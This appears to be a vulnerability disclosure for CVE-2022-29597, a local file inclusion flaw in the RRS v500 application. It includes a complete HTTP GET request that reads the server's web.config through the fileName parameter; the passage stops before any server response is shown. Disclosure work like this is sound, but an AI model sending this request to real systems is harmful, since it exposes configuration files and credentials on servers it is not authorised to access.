thegetch/cve-2022-29597The RRS v500 application is vulnerable to a Local File Inclusion (LFI) vulnerability.
The RRS v500 application by Solutions Atlantic is vulnerable to a Local File Inclusion (LFI) vulnerability. Any authenticated user has the ability to reference internal system files within requests made to the /RRSWeb/maint/ShowDocument/ShowDocument.aspx page. The server will successfully respond with the file contents of the internal system file requested. This ability could allow for adversaries to extract sensitive data and/or files from the underlying file system, gain knowledge about the internal workings of the system, or access source code of the application.
Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29597
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29597
Affected URL:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxWhile opening or downloading a PDF from the RRS site, a request is made to the affected URL that includes a fileName parameter. This parameter could be modified to include an internal system path, such as web.config. The server will then serve the file requested.
GET request with internal path to web.config:
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?fileName=C:\\Program%20Files\\Solutions%20Atlantic\\RRS\\RRSWeb\\web.config HTTP/1.1
Host: <REDACTED>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<REDACTED>/RRSweb/default.aspx
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=<REDACTED>; ASP.NET_SessionId=<REDACTED>
Connection: Keep-Alive
Server Response:
April 2022